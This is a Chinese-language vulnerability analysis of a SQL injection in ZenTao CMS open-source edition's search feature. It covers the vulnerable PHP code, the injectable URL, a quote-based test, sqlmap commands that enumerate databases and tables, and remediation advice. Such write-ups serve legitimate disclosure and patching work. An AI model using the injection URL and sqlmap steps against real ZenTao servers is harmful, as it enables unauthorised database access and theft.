禅道CMS开源版SQL注入漏洞分析
字数 1001 2025-08-22 12:23:06
禅道CMS开源版SQL注入漏洞分析与利用教学
1. 漏洞概述
禅道CMS开源版21.1及以下版本存在SQL注入漏洞,该漏洞位于搜索功能模块,由于对用户输入的words参数未进行充分过滤和转义,导致攻击者可以构造恶意输入执行SQL注入攻击。
2. 受影响版本
- 禅道CMS开源版21.1及以下所有版本
3. 漏洞验证URL
http://[目标IP]/index.php?m=search&f=index&words=[注入点]&type=all&zin=1
4. 漏洞定位与分析
4.1 漏洞触发点
漏洞主要存在于以下三个文件中:
module/search/control.phpmodel.phpmodule/search/tao.php
4.2 代码审计分析
4.2.1 控制层 (control.php)
在index方法中,words参数被直接传递给getList方法:
public function index()
{
$words = $this->get->words;
// ...
$this->app->loadLang('search');
$this->search->getList($words, $pager);
}
4.2.2 模型层 (model.php)
getList方法将keywords参数传递给getSqlParams方法:
public function getList($keywords, $pager)
{
// ...
$sqlParams = $this->getSqlParams($keywords);
// ...
}
4.2.3 SQL参数处理 (tao.php)
getSqlParams方法中存在漏洞:
protected function getSqlParams($keywords)
{
// ...
$againstCond = '';
foreach($words as $word)
{
$againstCond .= "+" . $word . " ";
}
$likeCondition = "LIKE '%$keywords%'";
// ...
}
漏洞成因:
$againstCond直接拼接用户输入的$word,未进行过滤$likeCondition直接将$keywords插入SQL语句,未进行转义- 当输入包含单引号等特殊字符时,会破坏SQL语句结构
5. 漏洞验证与复现
5.1 手动验证
- 访问漏洞URL,在
words参数中输入单引号('):http://192.168.88.9/index.php?m=search&f=index&words='&type=all&zin=1 - 观察页面是否返回数据库错误信息
5.2 使用SQLMap自动化测试
- 抓取正常搜索请求数据包,保存为
1.txt - 在
words参数值前后添加*标记注入点 - 执行以下命令:
python sqlmap.py -r 1.txt --level=5 --risk=3 --threads=10 --dbms=mysql
- 验证漏洞存在后,可进一步利用:
python sqlmap.py -r 1.txt --dbs # 查询数据库 python sqlmap.py -r 1.txt --current-db # 查询当前数据库 python sqlmap.py -r 1.txt -D [数据库名] --tables # 查询表
6. 漏洞修复建议
- 对所有用户输入进行严格的过滤和转义
- 使用参数化查询或预处理语句
- 升级到最新版本的禅道CMS
- 具体修复代码示例:
// 使用PDO预处理语句替代直接拼接
$stmt = $pdo->prepare("SELECT * FROM table WHERE field LIKE :keywords");
$stmt->execute([':keywords' => '%' . $keywords . '%']);
// 或者至少进行转义
$keywords = $this->dbh->quote($keywords);
$likeCondition = "LIKE " . $keywords;
7. 补充说明
- 该漏洞属于盲注类型,可能需要使用时间延迟等技术确认
- 漏洞利用需要用户具有搜索权限
- 实际环境中可能需要根据目标配置调整注入语句
8. 参考链接
- 禅道官网: https://www.zentao.net/
- 漏洞原文: 禅道CMS开源版SQL注入漏洞分析-先知社区
这篇文档涵盖了漏洞的各个方面,包括漏洞描述、影响版本、漏洞分析、复现步骤和修复建议,关键点均已包含且没有无关描述。如需进一步了解某些细节,可以针对特定部分进行深入探讨。